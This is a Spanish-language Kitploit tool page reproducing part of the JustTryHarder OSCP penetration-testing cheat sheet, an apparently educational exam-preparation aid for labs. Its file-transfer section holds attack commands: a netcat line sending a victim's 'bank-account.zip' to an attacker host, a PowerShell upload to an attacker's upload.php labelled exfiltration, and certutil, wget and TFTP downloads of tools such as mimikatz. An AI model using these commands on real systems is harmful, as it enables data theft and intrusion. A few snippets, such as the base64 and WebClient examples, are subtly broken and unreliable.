Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
JustTryHarder — Completa hoja de trucos de pruebas de penetración para la preparación del examen PWK/OSCP, que cubre escalada de privilegios, cracking de contraseñas, generación de payloads, post-explotación, escaneo de puertos, ataques web y técnicas de reconocimiento. | Kitploit
Herramientas/GitHubGitHub/sinfulz/justtryharder
Descifrado de ContraseñasEscalada de PrivilegiosReconocimientoGeneración de PayloadsEscaneo de PuertosExplotaciónPost-ExplotaciónSeguridad WebPruebas de PenetraciónAprendizaje y Educación
GitHubsinfulz/justtryharder
836106160hace 2 mesesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

JustTryHarder

Completa hoja de trucos de pruebas de penetración para la preparación del examen PWK/OSCP, que cubre escalada de privilegios, cracking de contraseñas, generación de payloads, post-explotación, escaneo de puertos, ataques web y técnicas de reconocimiento.

Ver Repositorio

JustTryHarder

JustTryHarder es una chuleta que te ayudará a lo largo del curso PWK y del examen OSCP.

(Inspirado por PayloadAllTheThings)

No dudes en enviar un Pull Request y dejar una estrella para mostrar tu aprecio si te ayudó. 💖

¡Amigable con Hacktoberfest! Sí, estamos abiertos a Pull Requests para Hacktoberfest. Asegúrate de que no sea spam y que realmente contribuya bien a este repositorio. ¡Gracias y feliz hacking!

Descargo de responsabilidad: Ninguno de los siguientes incluye spoilers de los laboratorios PWK / examen OSCP.

Información de créditos

He obtenido gran parte de esta información a través de otros repositorios de Github, blogs, sitios y más. He intentado dar el mayor crédito posible al creador original. Si no te he dado crédito, por favor contáctame en Twitter: https://twitter.com/s1nfulz

Tabla de contenidos

  • Determinar el SO de un host mediante Ping
  • BOF (WIP)
  • Salidas / Escapes de entorno
  • DNS - Transferencias de zona
  • Transferencias de archivos
  • Kerberoasting
  • LFI / RFI
  • MSSQL / SQLi
  • Cracking de contraseñas
  • Password Spraying (CrackMapExec)
  • Generación de payloads
  • PHP
  • Priv Esc - Linux
  • Priv Esc - Windows
  • Post-Explotación
  • Reenvío de puertos
  • Proxy SOCKS (usando PowerShell)
  • Escaneo de puertos
  • Ping Sweep
  • Pivoting
  • Escritorio remoto
  • Responder
  • Reverse Shells
  • Mejora de shell
  • Inyección SQL (SQLmap)
  • Mostrar puertos en escucha
  • SMB - Enumeración
  • SMB - Impacket
  • Enumeración SMTP
  • Inyección ICMP
  • VMware (no entra en pantalla completa)
  • Servidores web
  • Escaneo web
  • Web Shells
  • WordPress
  • Windows Framework / PowerShell
  • Comandos de post-explotación en Windows
  • Directorios escribibles
  • Lista de tareas pendientes
  • Agradecimientos

Determinando el SO de un host mediante Ping```bash

ping 10.10.10.110 PING 10.10.10.110 (10.10.10.110) 56(84) bytes of data. 64 bytes from 10.10.10.110: icmp_seq=1 ttl=128 time=166 ms

El `TTL` se puede usar para determinar el SO del host. Los tres tipos diferentes de TTL son como se muestra a continuación:

  - **TTL=64** = \*nix - El contador de saltos; así que si obtienes 61, entonces hay 3 saltos y es un dispositivo \*nix. Muy probablemente Linux.
  - **TTL=128** = Windows - De nuevo, si el TTL es 127 entonces el salto es 1 y es una máquina Windows.
  - **TTL=254** = Solaris/AIX - Si el TTL es 250 entonces el contador de saltos es 4 y es una máquina Solaris.

## BOF (Trabajo en Progreso)

(Los caracteres malos típicos incluyen: `0x00`, `0x0A`, `0x0D`)

  - Fuzzing
  - Encontrar la posición de EIP
  - Encontrar caracteres malos
  - Localizar `jmp esp`
  - Generar payload con `msfvenom`
  - Obtener reverse shell con `netcat`

**Buenos recursos de BOF:**

  - [NCC Group - Escribiendo Exploits para Win32](https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2016/june/writing-exploits-for-win32-systems-from-scratch/)
  - [Corelan - Tutorial de Escritura de Exploits Parte 1](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/)
  - [GitHub - dostackbufferoverflowgood](https://github.com/justinsteven/dostackbufferoverflowgood)
  - [VeteranSec - Desbordamientos de Búfer de 32 bits en Windows Hechos Fáciles](https://veteransec.com/2018/09/10/32-bit-windows-buffer-overflows-made-easy/)

## Rupturas / Escapes de Entorno

  - [Pentest Partners - Escapando de Citrix](https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-desktop-environments/)
  - [SRA.io - Escape de SiteKiosk](https://sra.io/blog/sitekiosk-breakout/)
  - [TrustedSec - Teclas de Escape de Kiosco/POS](https://www.trustedsec.com/blog/kioskpos-breakout-keys-in-windows/)
  - [Cognosec - Escapando del Entorno Citrix](https://cognosec.com/breaking-out-of-citrix-environment/)
  - [NetSPI - Escapando de Aplicaciones](https://blog.netspi.com/breaking-out-of-applications-deployed-via-terminal-services-citrix-and-kiosks/)
  - [NCC Group - Problemas Comunes con Escapes de Entorno (PDF)](https://research.nccgroup.com/wp-content/uploads/2020/07/research-insights_common-issues-with-environment-breakouts.pdf)
  - [GracefulSecurity - Escape de Citrix](https://gracefulsecurity.com/citrix-breakout/)

## DNS - Transferencias de Zona```bash
host -t axfr HTB.local 10.10.10.10
host -l HTB.local 10.10.10.10
host -l <domain name> <name server>
dig @<dns server> <domain> axfr
```
## Transferencias de Archivos

### Transferencia SMB

En la máquina víctima (Windows):```cmd
net share \\10.10.10.10\myshare
net use x:
copy whatever.zip x:
```
### Transferencia con Wget

Cómo recuperar archivo(s) del anfitrión (dentro de una shell inversa).

**Configuración:** Coloca el archivo que deseas transferir en `/var/www/html/` y ejecuta `service apache2 start`.

Ejecuta en el servidor remoto:```bash
wget [http://10.10.10.10/pspy64](http://10.10.10.10/pspy64)       # <- for single file
wget -r [http://10.10.10.10/pspy64/](http://10.10.10.10/pspy64/)   # <- for folder
```
### Transferencia TFTP

(Cómo transferir desde Kali a Windows).

**Usando MSF:**
Inicia MSF antes de estos pasos:

1.  `use auxiliary/server/tftp`
2.  `set TFTPROOT /usr/share/mimikatz/Win32/`
3.  `run`

**Dentro de una terminal:**
4\. `tftp -i 10.10.10.10 GET mimikatz.exe`

### NetCat (Windows a Kali)

1.  **Windows:** `nc -nv 10.11.0.61 4444 < bank-account.zip`
2.  **Linux:** `nc -nlvp 4444 > bank-account.zip`

### PowerShell

Sesión interactiva:```powershell
Invoke-WebRequest -Uri [http://127.0.0.1/exploit.py](http://127.0.0.1/exploit.py) -OutFile C:\Users\Victim\exploit.py
```
Sin una sesión interactiva de PowerShell (Crea `wget.ps1`):```powershell
$client = New-Object System.Net.WebClient
$path = "C:\path\to\save\file.txt"
$client.DownloadFile($url, $path)
```
### Base64 (Linux a Linux)

**Host local:**

1.  `$(echo "cat /path/to/exploit.py | base64") > encoded.b64`
2.  Transfiere `encoded.b64` al servidor remoto mediante `nc` o de otra forma.

**Servidor remoto - Linux:**
3.  `cat /path/to/encoded.b64 | base64 -d > exploit.py`

### Certutil```cmd
certutil.exe -urlcache -split -f "[http://ip.for.kali.box/file-to-get.zip](http://ip.for.kali.box/file-to-get.zip)" name-to-save-as.zip
```
### Carga de archivos HTTP (Exfiltración)

**1. Crear upload.php**
Crear en la raíz web de la máquina atacante (`/var/www/html` por defecto).```php
<?php
$uploaddir = '/var/www/uploads/';
$uploadfile = $uploaddir . $_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)
?>
```
**2. Crear directorio**
Cree un directorio de carga y establezca los permisos adecuados para permitir la carga.```bash
sudo mkdir /var/www/uploads && sudo chown www-data:www-data /var/www/uploads
```
**3. Subir archivo**
Subir archivo desde la máquina víctima a la máquina atacante usando PowerShell:```powershell
powershell.exe -exec unrestricted -noprofile -Command "(New-Object System.Net.WebClient).UploadFile('[http://10.10.10.10/upload.php](http://10.10.10.10/upload.php)', 'file-to-upload.txt')"
```
## Kerberoasting
Descargar herramienta